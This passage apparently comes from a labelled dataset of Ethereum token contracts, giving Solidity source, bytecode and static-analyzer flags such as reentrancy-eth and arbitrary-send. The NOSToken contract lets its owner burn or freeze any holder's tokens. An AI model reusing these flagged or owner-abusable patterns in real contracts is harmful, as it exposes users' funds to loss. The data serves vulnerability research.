565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b95ce690d3be75ed9a1e4d2df02ea853a0cbf1a8aa9108995a30593b06fe38264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,434
0xfdb2af1d5072782477292e242f0ffd988964cd69
/** *Submitted for verification at Etherscan.io on 2019-03-22 */ pragma solidity 0.4.24; contract owned { address public owner; modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract NOSToken is owned { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This creates an array with freeze balances mapping (address => uint256) public freezeOf; // Suspend trading bool suspendTrading; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); // This notifies clients about the amount unfreeze event UnFreezeFunds(address target, uint256 value); // This notifies clients about the amount freeze event FreezeFunds(address target, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( ) public { totalSupply = 73000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "Number One Scholar"; // Set the name for display purposes symbol = "NOS"; // Set the symbol for display purposes owner = 0x023C1Fd15F57640E682E882B5C4187Ff44085468; } /** * set suspendTrading */ function setSuspendTrading(bool _state) public onlyOwner { suspendTrading = _state; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(suspendTrading == false); // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0x0)); // Check if the sender has enough require(balanceOf[_from] >= freezeOf[_from]); require(balanceOf[_from] - freezeOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } /** * multiTransfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function multiTransfer(address[] memory _to, uint256[] memory _value) public returns (bool success) { uint256 i = 0; while (i < _to.length) { transfer(_to[i], _value[i]); i += 1; } return true; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public onlyOwner returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) { require(balanceOf[_from] >= freezeOf[_from]); require(balanceOf[_from] - freezeOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] -= _value; // Subtract from the targeted balance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } /** * Destroy tokens from other accounts * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function multiBurnFrom(address[] memory _from, uint256[] memory _value) public onlyOwner returns (bool success) { uint256 i = 0; while (i < _from.length) { burnFrom(_from[i], _value[i]); i += 1; } return true; } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(address(0), address(this), mintedAmount); emit Transfer(address(this), target, mintedAmount); } /** * mint tokens * * mint `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to mint */ function multiMintToken(address[] memory _from, uint256[] memory _value) public onlyOwner returns (bool success) { uint256 i = 0; while (i < _from.length) { mintToken(_from[i], _value[i]); i += 1; } return true; } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param _value value of target Address to be frozen function freezeToken(address target, uint256 _value) onlyOwner public { require(balanceOf[target] -freezeOf[target]>= _value); freezeOf[target] += _value; emit FreezeFunds(target, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param _value value of target Address to be frozen function unfreezeToken(address target, uint256 _value) onlyOwner public { require(freezeOf[target] >= _value); freezeOf[target] -= _value; emit UnFreezeFunds(target, _value); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd146102225780631e89d5451461024d57806323b872dd1461030e578063313ce5671461039357806342966c68146103c45780634948e51a14610409578063498eaaae1461045657806363cfc0cf1461051757806370a082311461056457806379c65068146105bb57806379cc6790146106085780638da5cb5b1461066d57806395d89b41146106c4578063a6778f2b14610754578063a9059cbb14610815578063b71fbfbd1461087a578063cae9ca51146108a9578063cd4217c114610954578063dd62ed3e146109ab578063f2fde38b14610a22575b600080fd5b34801561013957600080fd5b50610142610a65565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b03565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b50610237610bf5565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b506102f46004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610bfb565b604051808215151515815260200191505060405180910390f35b34801561031a57600080fd5b50610379600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c5b565b604051808215151515815260200191505060405180910390f35b34801561039f57600080fd5b506103a8610d88565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d057600080fd5b506103ef60048036038101908080359060200190929190505050610d9b565b604051808215151515815260200191505060405180910390f35b34801561041557600080fd5b50610454600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efa565b005b34801561046257600080fd5b506104fd60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506110a0565b604051808215151515815260200191505060405180910390f35b34801561052357600080fd5b50610562600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061115a565b005b34801561057057600080fd5b506105a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112bf565b6040518082815260200191505060405180910390f35b3480156105c757600080fd5b50610606600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d7565b005b34801561061457600080fd5b50610653600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061145e565b604051808215151515815260200191505060405180910390f35b34801561067957600080fd5b5061068261168c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d057600080fd5b506106d96116b1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107195780820151818401526020810190506106fe565b50505050905090810190601f1680156107465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076057600080fd5b506107fb600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061174f565b604051808215151515815260200191505060405180910390f35b34801561082157600080fd5b50610860600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061180a565b604051808215151515815260200191505060405180910390f35b34801561088657600080fd5b506108a7600480360381019080803515159060200190929190505050611821565b005b3480156108b557600080fd5b5061093a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611899565b604051808215151515815260200191505060405180910390f35b34801561096057600080fd5b50610995600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a1c565b6040518082815260200191505060405180910390f35b3480156109b757600080fd5b50610a0c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a34565b6040518082815260200191505060405180910390f35b348015610a2e57600080fd5b50610a63600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a59565b005b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b600080600090505b8351811015610c5057610c448482815181101515610c1d57fe5b906020019060200201518483815181101515610c3557fe5b9060200190602002015161180a565b50600181019050610c03565b600191505092915050565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ce857600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610d7d848484611af7565b600190509392505050565b600360009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610df857600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e4657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5557600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540310151515610fe457600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f322306ee1847ad03fcd6890fd9b6224fe7204728dc9bae70a7cbc01d773b869b8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110fe57600080fd5b600090505b835181101561114f57611144848281518110151561111d57fe5b90602001906020020151848381518110151561113557fe5b906020019060200201516112d7565b600181019050611103565b600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b557600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561120357600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fdbd97d3eeee05d22aeea025301f7623714c5f51663469be3c7a88982ea1222748282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133257600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114bb57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561154857600080fd5b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156115d757600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117475780601f1061171c57610100808354040283529160200191611747565b820191906000526020600020905b81548152906001019060200180831161172a57829003601f168201915b505050505081565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ad57600080fd5b600090505b83518110156117ff576117f384828151811015156117cc57fe5b9060200190602002015184838151811015156117e457fe5b9060200190602002015161145e565b506001810190506117b2565b600191505092915050565b6000611817338484611af7565b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561187c57600080fd5b80600860006101000a81548160ff02191690831515021790555050565b6000808490506118a98585610b03565b15611a13578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119a3578082015181840152602081019050611988565b50505050905090810190601f1680156119d05780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156119f257600080fd5b505af1158015611a06573d6000803e3d6000fd5b5050505060019150611a14565b5b509392505050565b60076020528060005260406000206000915090505481565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ab457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000801515600860009054906101000a900460ff161515141515611b1a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b5657600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611be357600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540310151515611c7257600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515611d0057600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401141515611f0d57fe5b505050505600a165627a7a723058208c079341849695cdac58044a823b75fba3aa8ccb818f3d3e9a50307b1b07d21d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "name-reused", "impact": "High", "confidence": "High"}]}}
7,435
0x62abcfd7c54bc762296b880a5f978107bf1b9440
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = 